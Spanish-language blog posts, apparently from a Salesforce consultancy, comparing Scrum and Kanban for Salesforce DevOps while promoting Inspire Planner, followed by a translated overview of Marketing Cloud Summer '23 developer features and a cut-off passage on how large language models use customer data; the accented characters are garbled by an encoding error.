Flujo de rutina frente a flujo continuo Scrum se basa en iteraciones de tiempo limitado llamadas Sprints, generalmente de 1 a 4 semanas de duraci贸n. Se enfoca en el flujo continuo y no tiene plazos espec铆ficos.
roles Ayuda a los equipos a administrar proyectos complejos dividi茅ndolos en "sprints" manejables y con l铆mites de tiempo con revisiones peri贸dicas y retrospectivas Mejora la transparencia y la eficiencia del flujo de trabajo al visualizar las tareas y limitar el trabajo en curso
Filosof铆a del cambio Scrum desalienta los cambios dentro de un sprint. Permite realizar cambios en cualquier momento
Alcance del Trabajo Funciona mejor con proyectos complejos con elementos interdependientes que requieren colaboraci贸n. Funciona bien para tareas en curso y actividades de mantenimiento.

Fortalezas y limitaciones de Agile en Salesforce DevOps: Scrum vs Kanban

Por supuesto, antes de decidir qu茅 marco usar para Agile en Salesforce DevOps, es esencial observar sus fortalezas y limitaciones:

Mel茅 Kanban
Fortalezas + Adecuado para proyectos complejos donde se necesita una estrecha colaboraci贸n y una respuesta r谩pida.
+ Funciones y responsabilidades bien definidas mejoran la rendici贸n de cuentas.
+ Las revisiones peri贸dicas y las retrospectivas fomentan la mejora continua.
+ Excelente visualizaci贸n del trabajo en curso.
+ Flexibilidad para manejar cambios o nuevas tareas.
+ Ideal para flujos de trabajo continuos e ininterrumpidos.
Limitaciones 鈥 Las iteraciones fijas pueden generar ineficiencias si no se completa todo el trabajo dentro del sprint.
鈥 No es tan flexible para cambiar a mitad del sprint.
鈥 Requiere un alto nivel de disciplina y comprensi贸n de los principios de Scrum.
鈥 Puede que no sea tan efectivo para tareas complejas e interdependientes.
鈥 Sin disciplina, los l铆mites WIP pueden ignorarse, lo que genera cuellos de botella.
鈥 La falta de limitaciones de tiempo puede dar lugar a retrasos y falta de urgencia.

El papel de Scrum en Salesforce DevOps

Salesforce es una plataforma altamente personalizable que requiere actualizaciones y mejoras frecuentes para satisfacer las necesidades din谩micas de las empresas. Aqu铆 es donde Scrum puede traer ventajas significativas.

  • Desarrollo iterativo : el enfoque iterativo de Scrum se alinea bien con el desarrollo de Salesforce. Permite lanzamientos menores e incrementales con cada sprint, lo que permite a los equipos responder m谩s r谩pidamente a los requisitos y cambios comerciales.
  • Claridad de funciones : las funciones definidas en Scrum (Propietario del producto, Scrum Master y Equipo de desarrollo) brindan responsabilidades y responsabilidades claras, fomentando un entorno de trabajo en equipo s贸lido y una comunicaci贸n efectiva, que son fundamentales en los proyectos de Salesforce.
  • Comentarios y mejoras continuas : con las revisiones y retrospectivas peri贸dicas de Scrum, el equipo puede aprender y adaptarse continuamente a las necesidades cambiantes. Esta agilidad es especialmente beneficiosa dados los frecuentes lanzamientos y actualizaciones de Salesforce.
  • Mitigaci贸n de riesgos : los sprints breves y delimitados en el tiempo permiten la identificaci贸n y resoluci贸n temprana de problemas o riesgos, lo que reduce las posibilidades de fracaso del proyecto. Para obtener m谩s detalles sobre este tema, consulte nuestro art铆culo sobre c贸mo reducir los riesgos y problemas imprevistos del proyecto.

Beneficios de usar Scrum y Agile en Salesforce DevOps

Mejorar la colaboraci贸n, la flexibilidad y la productividad en Salesforce DevOps con Scrum es una excelente manera de garantizar que los proyectos se entreguen con 茅xito y a tiempo. Este es el por qu茅:

  • Colaboraci贸n : Scrum fomenta un entorno altamente colaborativo. Las reuniones diarias de Scrum mantienen a todos alineados sobre el estado y los desaf铆os del proyecto, lo que promueve una resoluci贸n de problemas m谩s efectiva. Adem谩s, la comprensi贸n compartida y la comunicaci贸n frecuente reducen los malentendidos y la repetici贸n del trabajo.
  • Flexibilidad : la naturaleza iterativa de Scrum permite que los cambios se incorporen f谩cilmente en el pr贸ximo sprint. Esto es particularmente beneficioso en Salesforce DevOps, donde los cambios son frecuentes debido a nuevos requisitos comerciales, comentarios de clientes o actualizaciones de Salesforce.
  • Productividad : al dividir el proyecto en unidades manejables (sprints), los equipos pueden enfocarse mejor y producir un trabajo de alta calidad, mejorando la productividad. Adem谩s, la visibilidad de la capacidad del equipo evita la sobrecarga y fomenta un ritmo sostenible, lo que contribuye a elevar la moral y mejorar a煤n m谩s la productividad.

    Los equipos que implementan efectivamente las metodolog铆as Scrum pueden presenciar un aumento de la productividad que oscila entre el 300 % y el 400 %.

  • Satisfacci贸n del cliente : Scrum se enfoca en brindar valor con cada sprint, lo que lleva a resultados frecuentes y tangibles. Esta entrega constante de caracter铆sticas valiosas puede aumentar la satisfacci贸n del cliente mediante el uso de Agile en Salesforce DevOps.

    Cuando MediaMarkt, el minorista de electr贸nica de consumo l铆der en Europa, se expandi贸 a China en 2010, desarroll贸 r谩pidamente una innovadora suite de planificaci贸n de recursos empresariales (ERP) en un a帽o. Gracias a la metodolog铆a Scrum y un equipo colaborativo, implementaron m煤ltiples aplicaciones est谩ndar, lo que facilit贸 el lanzamiento de nuevas tiendas en Asia y prepar贸 un crecimiento sustancial en China.

Aprovechamiento de Kanban para Salesforce DevOps

Kanban es una metodolog铆a Agile robusta que mejora la visibilidad y la eficiencia en los entornos de Salesforce DevOps. As铆 es c贸mo:

  • Visibilidad : Kanban utiliza un tablero visual (tablero Kanban) para representar el flujo de trabajo. Cada tarea o historia de usuario se representa como una tarjeta en este tablero, movi茅ndose de una columna a otra a medida que avanza. El uso de tableros Kanban para administrar el flujo de trabajo ha experimentado un aumento constante, con el 61 % de los encuestados us谩ndolos ahora, un aumento sustancial del 6 % inicial informado en la primera encuesta.
  • Eficiencia : al establecer l铆mites de trabajo en curso (WIP), Kanban evita que los miembros del equipo se sientan abrumados con demasiadas tareas. Esto conduce a un mejor enfoque y una finalizaci贸n m谩s r谩pida de las tareas. Cuando se identifica un cuello de botella (por ejemplo, demasiadas tareas en una columna en particular), se aborda de inmediato para mantener el flujo de trabajo de manera eficiente.
  • Entrega continua : en un entorno de Salesforce DevOps, a menudo existe la necesidad de entrega, mantenimiento o soporte continuos. Kanban respalda esto al promover un flujo continuo de trabajo en lugar de trabajar en iteraciones o sprints de longitud fija.

    Siemens Health Services quer铆a aumentar la velocidad y la calidad de la entrega de software. A pesar de los contratiempos iniciales con sus m茅todos 谩giles, el cambio hacia el pensamiento Lean y la adopci贸n de Kanban mejoraron dr谩sticamente la transparencia de sus procesos, aumentaron la calidad del trabajo, redujeron las tasas de defectos y, en 煤ltima instancia, impulsaron el compromiso del equipo, lo que hizo que sus productos fueran m谩s competitivos en un mercado exigente.

  • Flexibilidad : Kanban permite agregar nuevas tareas a la cartera de pedidos en cualquier momento, siempre que se respeten los l铆mites WIP. Esto es particularmente beneficioso en un entorno de Salesforce DevOps donde existe la necesidad de reaccionar r谩pidamente ante nuevos problemas o cambios.

Pasos para integrar la metodolog铆a Kanban en proyectos de Salesforce

Estos son los pasos pr谩cticos necesarios para integrar de manera efectiva la metodolog铆a Kanban en sus proyectos de Salesforce para mejorar la visibilidad y la eficiencia:

  • Defina las etapas del flujo de trabajo : divida su flujo de trabajo en distintas etapas. Algunas de las etapas t铆picas incluyen Backlog, En desarrollo, UAT y Completado, pero se pueden ajustar seg煤n las necesidades espec铆ficas de su proyecto.
  • Cree un tablero Kanban : use una herramienta de gesti贸n de proyectos f铆sica o digital como Inspire Planner para crear su tablero Kanban. Representa cada etapa del flujo de trabajo como una columna en el tablero.
  • Cree tarjetas para tareas : escriba cada tarea o historia de usuario en una tarjeta separada y coloque estas tarjetas en la columna correspondiente en el tablero Kanban.
  • Establecer l铆mites de trabajo en curso (WIP) : defina cu谩ntas tareas pueden estar en curso en cada etapa de su flujo de trabajo en un momento dado. Esto evita la sobrecarga y ayuda a identificar cuellos de botella.
  • Administre y perfeccione el flujo de trabajo : mueva las tarjetas de izquierda a derecha en el tablero a medida que avanza el trabajo. Revise regularmente la junta para identificar y abordar los cuellos de botella. Respete los l铆mites WIP y mueva una tarjeta a la siguiente etapa cuando haya capacidad.
  • Mejora continua : revise y analice el flujo de trabajo con regularidad. Busque formas de mejorar la eficiencia, como ajustar los l铆mites WIP o redefinir las etapas. El objetivo es lograr un flujo de trabajo fluido y eficiente.

10 mejores pr谩cticas para integrar metodolog铆as 谩giles en Salesforce DevOps

Las siguientes pr谩cticas pueden ayudarlo a integrar Agile en Salesforce DevOps:

  • Entrenamiento y educaci贸n

    Aseg煤rese de que los miembros de su equipo comprendan los principios Agile y las pr谩cticas de Scrum o Kanban en funci贸n de la metodolog铆a elegida. Invierta en cursos de capacitaci贸n, talleres y recursos relevantes.

  • Empieza peque帽o

    Comience con un proyecto peque帽o que no tenga mucho en juego. Esto permitir谩 que su equipo aprenda y se adapte a Agile en Salesforce DevOps en un entorno de baja presi贸n.

  • Seleccione un marco 谩gil adecuado

    Elija Scrum o Kanban seg煤n los requisitos de su proyecto. Scrum es ideal para proyectos complejos que requieren una estrecha colaboraci贸n, mientras que Kanban es adecuado para flujos de trabajo continuos con tareas independientes.

  • Utilice herramientas 谩giles de gesti贸n de proyectos

    Utilice herramientas dise帽adas espec铆ficamente para pr谩cticas 谩giles. Herramientas como Inspire Planner y Jira pueden facilitar los flujos de trabajo Scrum y Kanban, facilitando la transici贸n. Si su organizaci贸n utiliza Salesforce, idealmente deber铆a buscar una herramienta de gesti贸n de proyectos nativa de Salesforce en AppExchange.

  • Promover una cultura colaborativa

    Fomente la comunicaci贸n abierta, la retroalimentaci贸n frecuente y la colaboraci贸n activa. Recuerde, Agile en Salesforce DevOps se trata tanto de mentalidad y cultura como de procesos y herramientas.

  • Hacer uso de otras herramientas de DevOps

    Hay otras herramientas de Salesforce DevOps disponibles que tambi茅n pueden ayudar a los equipos a colaborar de manera efectiva para garantizar que el software que entregan sea r谩pido y confiable.

  • Perfeccione regularmente el trabajo pendiente : las sesiones peri贸dicas de preparaci贸n del trabajo pendiente garantizan que su trabajo pendiente siga siendo relevante, priorizado y manejable.
  • Aceptar los cambios : los cambios son una parte integral de Agile. Est茅 preparado para incorporar cambios en el pr贸ximo sprint (en Scrum) o cuando el l铆mite WIP lo permita (en Kanban).
  • Realice retrospectivas : despu茅s de cada sprint (en Scrum) o a intervalos regulares (en Kanban), realice reuniones retrospectivas para analizar qu茅 funcion贸 bien, qu茅 no y c贸mo puede mejorar el equipo.
  • Aproveche las herramientas de Salesforce : puede usar herramientas como Inspire Planner que est谩n espec铆ficamente dise帽adas para administrar procesos Agile directamente en Salesforce. Esto puede ser particularmente 煤til si su proyecto implica el desarrollo de Salesforce.
Inspire Planner: herramienta 谩gil de gesti贸n de proyectos para SalesforceInspire Planner: herramienta 谩gil de gesti贸n de proyectos para Salesforce

8 errores a evitar al incorporar Agile en Salesforce DevOps

La incorporaci贸n de Agile en Salesforce DevOps puede traer muchos beneficios, pero hay ciertas trampas que se deben evitar para garantizar una implementaci贸n y ejecuci贸n sin problemas:

  • No entrenar al equipo : Scrum y Kanban requieren una comprensi贸n clara de los principios y pr谩cticas involucrados. Es vital asegurarse de que su equipo reciba la capacitaci贸n adecuada antes de la implementaci贸n.
  • Descuidar la comunicaci贸n : la comunicaci贸n regular y clara es crucial en las metodolog铆as 谩giles. Sin ella, pueden surgir malas interpretaciones que conduzcan a ineficiencias y errores.
  • Sobrecargar el flujo de trabajo : Agile no significa hacer m谩s trabajo en menos tiempo. Se trata de administrar el trabajo de manera m谩s efectiva. Aseg煤rese de que la carga de trabajo del equipo sea manejable y sostenible. En Kanban, es esencial no exceder el l铆mite de trabajo en curso (WIP). La sobrecarga puede provocar cuellos de botella, lo que reduce la productividad general.
  • Descuidar la calidad : para entregar r谩pidamente, los equipos pueden comprometer la calidad. Incorpore pr谩cticas como el desarrollo basado en pruebas (TDD) y las pruebas automatizadas para garantizar que la calidad no se vea afectada.
  • Ignorando las retrospectivas : Scrum fomenta las retrospectivas peri贸dicas para identificar y abordar 谩reas de mejora. Ignorar estas reuniones puede dificultar la mejora continua, que es vital en Agile en Salesforce DevOps.
  • No adaptarse al cambio : las metodolog铆as 谩giles como Scrum y Kanban se tratan de aceptar el cambio. La resistencia al cambio puede hacer que estas metodolog铆as sean menos efectivas. Supere esto a trav茅s de capacitaci贸n, comunicaci贸n abierta sobre los beneficios de Agile en Salesforce DevOps e involucrando a los miembros del equipo en el proceso de transici贸n.
  • Uso incorrecto de herramientas : las herramientas de Salesforce y Agile deben usarse de manera efectiva para monitorear el progreso y administrar los flujos de trabajo. El uso incorrecto puede generar confusi贸n e ineficiencia. Busque una aplicaci贸n de gesti贸n de proyectos de Salesforce Agile que ofrezca un proceso adecuado de incorporaci贸n y formaci贸n.
  • Falta de participaci贸n de las partes interesadas : el aporte de las partes interesadas es invaluable en las metodolog铆as 谩giles. Ignorar sus comentarios puede generar productos que no satisfagan las necesidades de los usuarios.

Herramientas compatibles con metodolog铆as 谩giles en Salesforce DevOps

Varias herramientas pueden ayudar a administrar los flujos de trabajo de Scrum y Kanban, incluidas Jira, Inspire Planner y Trello.

jira

Atlassian desarroll贸 Jira como una herramienta vers谩til compatible con Scrum, Kanban y metodolog铆as mixtas. Sus s贸lidas funciones incluyen la priorizaci贸n de tareas pendientes, la planificaci贸n de sprints, los gr谩ficos de avance y reducci贸n, los flujos de trabajo personalizados y m谩s. Sin embargo, para integrar Jira con Salesforce, deber谩 configurar una soluci贸n de integrador de terceros y mantenerla a lo largo del tiempo.

Inspirar planificador

Por el contrario, la herramienta llamada Inspire Planner es una aplicaci贸n de gesti贸n de proyectos 100% nativa de Salesforce que es totalmente compatible con las metodolog铆as Scrum y Kanban listas para usar. Inspire Planner tiene m谩s de 130 rese帽as de 5 estrellas en AppExchange e incluye todas las funciones est谩ndar, como trabajos pendientes, sprints, puntos de la historia, gr谩ficos de trabajo pendiente y m谩s.

Al ser nativo de Salesforce, Inspire Planner no solo ofrece una integraci贸n perfecta con Salesforce, sino que tambi茅n le permite personalizar completamente la aplicaci贸n para agilizar su proceso de gesti贸n de proyectos.

驴Y si necesita la gesti贸n de proyectos tradicional de Waterfall? No se preocupe, Inspire Planner tambi茅n ofrece funciones avanzadas de gesti贸n de proyectos para esta metodolog铆a, incluido un gr谩fico de Gantt interactivo, gesti贸n de recursos, seguimiento del tiempo, carteras, gesti贸n de riesgos, l铆neas base, dependencias de tareas avanzadas, ruta cr铆tica, uso compartido externo, gesti贸n de restricciones, automatizaci贸n. , y mucho m谩s.

Trello

Trello es un sistema f谩cil de usar basado en tarjetas para visualizar el trabajo y administrar los flujos de trabajo de Kanban. Las tarjetas de Trello pueden representar historias de usuarios o tareas, que se pueden mover entre listas (que representan diferentes etapas de su flujo de trabajo) en un tablero de Trello.

Aunque no tiene el nivel de personalizaci贸n o las funciones de generaci贸n de informes detallados como Inspire Planner y Jira, la simplicidad de Trello lo convierte en una opci贸n atractiva para equipos m谩s peque帽os o proyectos simples.

Una mirada m谩s cercana a Inspire Planner

Inspire Planner est谩 dise帽ado para ser una soluci贸n de gesti贸n de proyectos Agile integral pero f谩cil de usar para Salesforce. El hecho de que sea nativo de Salesforce significa que inherentemente funciona bien con sus datos existentes en Salesforce, evitando por completo la necesidad de integraciones.

Inspire Planner Gesti贸n 谩gil de proyectos en SalesforceInspire Planner Gesti贸n 谩gil de proyectos en Salesforce

Aqu铆 hay algunas razones por las que Inspire Planner podr铆a ser una buena opci贸n para su equipo:

  • Soporte 谩gil completo : Inspire Planner es compatible con las metodolog铆as Scrum y Kanban desde el primer momento para que pueda elegir el mejor enfoque para las necesidades de su proyecto. Puede gestionar f谩cilmente la acumulaci贸n de productos, planificar sprints, realizar un seguimiento de los puntos de la historia, visualizar el trabajo mediante tableros Kanban, gestionar recursos y analizar el progreso con gr谩ficos de evoluci贸n.
  • Integraci贸n perfecta con Salesforce : dado que Inspire Planner vive dentro de su organizaci贸n de Salesforce, puede vincular directamente sus historias de usuario o tareas a cualquier registro de Salesforce como Oportunidades, Casos y Cuentas, incluidos los registros de sus objetos personalizados. Esto reduce la duplicaci贸n de datos y conecta sus datos de Salesforce con sus flujos de trabajo 谩giles.
  • Colaboraci贸n : Aprovecha Chatter de Salesforce para la comunicaci贸n, fomentando la colaboraci贸n dentro del equipo. Tambi茅n puede compartir el estado del proyecto con las partes interesadas directamente en Salesforce.
  • Interfaz intuitiva y familiar : incorpore r谩pidamente nuevos equipos e impulse la adopci贸n a trav茅s de una experiencia de usuario perfecta y una interfaz de usuario familiar. Utilice funciones est谩ndar como Tareas de Salesforce, Chatter, Informes y Paneles, y m谩s.

Elegir la herramienta adecuada para sus necesidades y el tama帽o de su equipo

Elegir la herramienta adecuada depende del tama帽o de su equipo, la complejidad del proyecto y la metodolog铆a Agile que siga. Aqu铆 hay algunas pautas:

  • Tama帽o del equipo y complejidad del proyecto : para equipos peque帽os o proyectos menos complejos, la simplicidad de Trello puede ser ventajosa. Una herramienta m谩s robusta como Jira o Inspire Planner podr铆a ser m谩s adecuada para equipos m谩s grandes o proyectos complejos que requieren flujos de trabajo personalizados, informes detallados y m谩s.
  • Integraci贸n de Salesforce : si su organizaci贸n utiliza mucho Salesforce, una aplicaci贸n nativa de Salesforce como Inspire Planner podr铆a ser la mejor opci贸n para una integraci贸n perfecta. Y si es nuevo en Salesforce, puede mejorar sus habilidades con los mejores recursos de capacitaci贸n de Salesforce para comenzar.
  • Metodolog铆a 谩gil : si su equipo sigue estrictamente Scrum, tanto Inspire Planner como Jira podr铆an ser preferibles. Para Kanban, las tres herramientas podr铆an satisfacer sus necesidades. Para una combinaci贸n de metodolog铆as Agile y Waterfall, Inspire Planner ser铆a la mejor opci贸n.
  • Presupuesto : El costo podr铆a ser otro factor decisivo. Trello suele ser m谩s rentable para equipos peque帽os, mientras que Jira e Inspire Planner ofrecen funciones m谩s avanzadas a un costo mayor.

Conclusi贸n

La incorporaci贸n de Agile en Salesforce DevOps realmente puede amplificar la adaptabilidad, la colaboraci贸n en equipo, la satisfacci贸n del cliente, la eficiencia y la gesti贸n de riesgos. El 茅nfasis en el desarrollo iterativo y la garant铆a de calidad garantiza est谩ndares de primer nivel dentro del desarrollo y las operaciones de Salesforce.

Sin embargo, es importante recordar que el coraz贸n de Agile radica en cultivar una mentalidad comprometida con el aprendizaje continuo y la adaptabilidad.

Aqu铆 hay algunas ideas procesables:

  • Comprom茅tase con el aprendizaje continuo : anime a su equipo a aprender de cada iteraci贸n y use esos conocimientos para impulsar mejoras en los siguientes sprints.
  • Acepta el cambio : el cambio es la 煤nica constante en Agile. Fomentar un entorno en el que el cambio no solo se acepte, sino que se acoja como una oportunidad para mejorar.
  • Fomentar la colaboraci贸n : promover una cultura de comunicaci贸n abierta y colaboraci贸n. Esto puede conducir a soluciones m谩s innovadoras y a un equipo m谩s fuerte.
  • Involucrar a las partes interesadas : involucrar regularmente a las partes interesadas en las revisiones de sprint para garantizar que el producto satisfaga las necesidades y expectativas de los usuarios.
  • Aproveche las herramientas de manera efectiva : use las herramientas de Salesforce y Agile de manera efectiva para realizar un seguimiento del progreso, administrar los flujos de trabajo y facilitar la comunicaci贸n.

Al adoptar estas estrategias, los equipos pueden desbloquear todo el potencial de las metodolog铆as 谩giles, lo que lleva a un mayor rendimiento y niveles elevados de satisfacci贸n del cliente.

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Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores 鈽侊笍

Explore el lanzamiento de Summer '23 Marketing Cloud para desarrolladores 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Explore la versi贸n Summer '23 Marketing Cloud para desarrolladores | Blog de desarrolladores de Salesforce

El lanzamiento de Summer '23 Marketing Cloud est谩 muy caliente con algunas caracter铆sticas nuevas y geniales para los desarrolladores. Hay muchas innovaciones en todos los canales para mensajes de correo electr贸nico, p谩ginas de destino, aplicaciones m贸viles, datos e inteligencia artificial. En este blog, cubrir茅 mis mejores selecciones y los aspectos m谩s destacados favoritos del lanzamiento.

BuildRowSetFromJSON()

Ha habido mucho revuelo en torno a esta nueva funci贸n de AMPscript en la comunidad, y con raz贸n. Esto significa que no hay manera de que pueda dejar esto fuera de mi lista. La nueva funci贸n AMPscript BuildRowsetFromJSON() permite a los desarrolladores analizar JSON en sus mensajes de correo electr贸nico y p谩ginas de destino. Antes de BuildRowSetFromJSON() , los desarrolladores necesitaban usar Guide Template Language o Server-Side JavaScript para analizar JSON. Ahora, los desarrolladores pueden seguir con AMPscript en lugar de cambiar a otro lenguaje de programaci贸n de Marketing Cloud para analizar su JSON.

API de descarga del historial de viajes

Con la API de descarga del historial de Journey , los desarrolladores pueden descargar hasta 30 d铆as de datos del historial de Journey Builder a trav茅s de la API REST. Algunos de los datos que los desarrolladores podr谩n descargar incluyen detalles sobre los criterios de entrada y salida del viaje, el estado de la actividad y los errores. Puede descargar los datos a trav茅s del formato CSV para casos de uso como resoluci贸n de problemas, reconciliaci贸n de errores, segmentaci贸n avanzada, datos sin procesar para herramientas de visualizaci贸n, campa帽as de retargeting y m谩s. Agregamos esta nueva API a nuestra colecci贸n p煤blica de Postman y lanzamos dos rutas adicionales ( frescura y estimaci贸n ) para ayudarlo a comprender mejor los datos que consulta.

Contenido de error personalizado de CloudPages

A veces ocurren errores, y la forma en que los desarrolladores manejan los errores puede afectar potencialmente a los clientes y su experiencia. Una CloudPage puede encontrar un error porque no est谩 publicada, o puede haber un error debido a un c贸digo personalizado existente que afecta la capacidad de procesamiento de la CloudPage. En CloudPages, los desarrolladores ahora pueden configurar contenido personalizado para los errores, lo que permitir谩 a los desarrolladores dirigir con gracia a sus clientes a activos alternativos en caso de error. La siguiente imagen muestra la nueva capacidad con la opci贸n de configurar el contenido de error personalizado. Dato curioso: 隆esta fue una idea en el intercambio de ideas que se entreg贸 en este lanzamiento!

SDK para m贸viles de fidelizaci贸n

El kit de desarrollo de software m贸vil (SDK) de fidelizaci贸n es un nuevo kit de desarrollo de software que permite a los desarrolladores crear aplicaciones m贸viles para los programas de fidelizaci贸n de su empresa.

La ayuda de Mobile SDK consta de funciones y capacidades nativas, como la inscripci贸n y los detalles del perfil. El SDK est谩 disponible para el desarrollo de iOS y Android . El SDK de Loyalty Mobile se basa en la plataforma principal y utiliza funcionalidades principales. Sin embargo, es parte de la familia Marketing Cloud. Los desarrolladores de Salesforce que ya est谩n familiarizados con la creaci贸n de la plataforma central deber铆an considerar que se trata de un SDK muy nuevo y divertido con el que experimentar. Desarrolladores de Marketing Cloud, 隆esto es algo muy emocionante y nuevo para aprender!

Einstein Studio Traiga su propio modelo de inteligencia artificial (IA)/aprendizaje autom谩tico (ML) a la nube de datos

Los desarrolladores seguramente se divertir谩n, y tal vez un poco de desaf铆o, con el dise帽o de sus propios modelos de IA utilizando Amazon SageMaker y Data Cloud. La integraci贸n de Einstein Studio entre Data Cloud y Amazon SageMaker es nuestra primera asociaci贸n de inteligencia artificial/aprendizaje autom谩tico. Los desarrolladores y los equipos de ciencia de datos pueden crear e incorporar sus propios modelos AI/ML para predicciones de conversi贸n de prospectos, clasificaciones de casos y m谩s. Luego, los especialistas en marketing pueden usar estas predicciones para personalizar cada punto de contacto con sus clientes. Consulte las notas de la versi贸n y la documentaci贸n de ayuda para obtener m谩s informaci贸n.

Espero que haya disfrutado de mis aspectos destacados del lanzamiento de Summer '23 y que est茅 listo para comenzar a desarrollar con las muchas funciones nuevas en la plataforma de Marketing Cloud. Hay muchas m谩s funciones en la versi贸n Summer '23 para desarrolladores que pueden interesarle. Lo animo a consultar las notas de la versi贸n de Marketing Cloud Summer '23 para leer sobre algunas de las otras mejoras incluidas en esta versi贸n.

Recursos

Sobre el Autor

Danielle Larregui es promotora s茅nior de desarrolladores en Salesforce, donde se enfoca en la creaci贸n de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificaci贸n. Danielle tambi茅n disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos t茅cnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al d铆a con su contenido t茅cnico.

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4 formas en que los modelos de lenguaje grande lo ayudan a hacer m谩s con los datos del cliente

4 formas en que los modelos de lenguaje grande lo ayudan a hacer m谩s con los datos del cliente

A medida que las empresas buscan formas de atender a los clientes de manera m谩s eficiente, muchas se dan cuenta de los beneficios de la IA generativa . Esta tecnolog铆a puede ayudarlo a simplificar sus procesos, organizar datos, brindar un servicio m谩s personalizado y m谩s. 驴Qu茅 potencia la IA generativa? Modelos de lenguaje grande (LLM), que permiten que la IA generativa cree contenido nuevo a partir de los datos que ya tiene.

Lo que es m谩s importante, la tecnolog铆a de IA generativa puede ahorrar tiempo en procesos tediosos, por lo que puede brindar una mejor atenci贸n a sus clientes y concentrarse en estrategias generales. Profundicemos en c贸mo la IA generativa puede ayudar a su empresa a hacer m谩s y aprendamos m谩s sobre modelos de lenguaje grandes.

驴Qu茅 son los modelos de lenguaje grande?

La IA generativa est谩 impulsada por grandes modelos de aprendizaje autom谩tico que se entrenan previamente con grandes cantidades de datos que se vuelven m谩s inteligentes con el tiempo. Como resultado, pueden producir contenido nuevo y personalizado, como audio, c贸digo, im谩genes, texto, simulaciones y video, seg煤n los datos a los que puedan acceder y las indicaciones utilizadas.

Para poner las cosas en un contexto cotidiano, los grandes modelos de lenguaje brindan respuestas dependiendo de c贸mo se formule una pregunta. Por ejemplo, 鈥溌 qu茅 son los LLM y c贸mo pueden ayudar a mi negocio? versus 鈥溌縬u茅 son los LLM y qu茅 valor pueden aportar a mi negocio?鈥 arrojar谩 resultados diferentes. Aunque las preguntas son similares, las respuestas pueden variar seg煤n el contexto.

Debido a que estos modelos utilizan el procesamiento del lenguaje natural y las capacidades de aprendizaje autom谩tico, los LLM responden de una manera similar a la humana, coherente y identificable. Como resultado, sobresalen en tareas como traducci贸n de textos, res煤menes y conversaciones.

Con la IA generativa que ayuda a las empresas a realizar estas tareas , la confianza debe estar en el centro de sus esfuerzos. Para asegurarse de que est谩 utilizando esta tecnolog铆a de manera responsable, puede invertir en una plataforma de gesti贸n de relaciones con los clientes que tenga una capa de confianza centrada en la IA , que anonimiza los datos para proteger la privacidad de los clientes.

Una capa de confianza integrada en un entorno de IA generativa puede abordar los requisitos de seguridad, privacidad y cumplimiento de los datos. Pero para cumplir con altos est谩ndares, tambi茅n debe seguir las pautas de innovaci贸n responsable para asegurarse de que est谩 utilizando los datos de los clientes de manera segura, precisa y 茅tica.

驴C贸mo funcionan los modelos de lenguaje grande?

Los avances en la infraestructura inform谩tica y la IA contin煤an simplificando la forma en que las empresas integran grandes modelos de lenguaje en su entorno de IA. Si bien estos modelos est谩n capacitados en enormes cantidades de datos p煤blicos, puede usar plantillas de solicitud que requieren una codificaci贸n m铆nima para ayudar a los LLM a brindar las respuestas correctas para sus clientes.

Adem谩s, ahora puede crear LLM privados capacitados en conjuntos de datos espec铆ficos de dominio que residen en entornos de nube seguros. Cuando un LLM se capacita utilizando datos de la industria, como para uso m茅dico o farmac茅utico, proporciona respuestas que son relevantes para ese campo. De esta manera, la informaci贸n que ve el cliente es precisa.

Los LLM privados reducen el riesgo de exposici贸n de datos durante el entrenamiento y antes de que los modelos se implementen en producci贸n. Puede mejorar la precisi贸n de la predicci贸n entrenando un modelo con datos ruidosos, donde se agregan valores aleatorios en el conjunto de datos para imitar los datos del mundo real antes de limpiarlos.

Tambi茅n es m谩s f谩cil mantener la privacidad de los datos de una persona utilizando fuentes de datos descentralizadas que no tienen acceso directo a los datos de los clientes. A medida que la seguridad y el gobierno de los datos se convierten en una prioridad principal, las plataformas de datos empresariales que cuentan con una capa de confianza se vuelven m谩s importantes.

Las empresas tambi茅n pueden aprovechar c贸mo funcionan los LLM con otros tipos de IA. Imagine usar la IA tradicional para predecir lo que los clientes pueden planear hacer a continuaci贸n (bas谩ndose en datos de tendencias y comportamientos anteriores), y luego usar un LLM para traducir los resultados de la predicci贸n en acciones.

Por ejemplo, puede usar IA generativa para crear correos electr贸nicos de clientes personalizados con ofertas, crear campa帽as de marketing para un nuevo producto, resumir un caso de servicio o escribir c贸digo para desencadenar acciones como recomendaciones de clientes.

Estos grandes modelos ling眉铆sticos ahorran tiempo y dinero al agilizar los procesos manuales, liberando a sus empleados para un trabajo m谩s emprendedor.

Ahora que ha aprendido lo que puede hacer la IA generativa, veamos c贸mo puede usarla para ayudar a su empresa.

驴Qu茅 es la IA generativa?

La IA generativa puede crear cosas incre铆bles con los datos que ya tiene y ayudarlo a funcionar de manera m谩s eficiente. Obtenga m谩s informaci贸n sobre esta tecnolog铆a y vea c贸mo est谩 cambiando los negocios.

4 formas en que la IA generativa puede ayudar a su empresa

El cielo es el l铆mite cuando se trata de formas en que puede usar la IA generativa para su negocio .

Los LLM son excelentes para reconocer patrones y conectar datos por s铆 mismos. La IA predictiva y tradicional, por otro lado, a煤n puede requerir mucha interacci贸n humana para consultar datos, identificar patrones y probar suposiciones.

Al alimentarse de los datos de los clientes en tiempo real, la IA generativa puede traducir instant谩neamente conjuntos de datos complejos en informaci贸n f谩cil de entender. Esto le ayuda a usted y a sus empleados a tener una visi贸n m谩s clara de sus clientes, para que pueda tomar medidas en funci贸n de la informaci贸n actualizada.

Ahora profundicemos en algunos casos de uso en los que los modelos de lenguaje grandes pueden ayudar a su empresa.

Uso del an谩lisis de sentimientos para obtener contexto en las acciones posteriores a la compra

El an谩lisis de sentimientos puede ayudar a los especialistas en marketing, ventas y servicios a comprender el contexto de los datos del cliente para las acciones posteriores a la compra. Por ejemplo, puede usar LLM para segmentar a los clientes en funci贸n de sus datos, como usar rese帽as negativas publicadas en el sitio web de su marca. Estos conocimientos pueden ayudarlo a actuar de inmediato ante los comentarios negativos. Una gran estrategia de marketing ser铆a enviar un mensaje personalizado ofreciendo al cliente una oferta especial para una futura compra. Esto puede ayudar a mejorar lealtad a la marca, confianza del cliente, retenci贸n y personalizaci贸n.

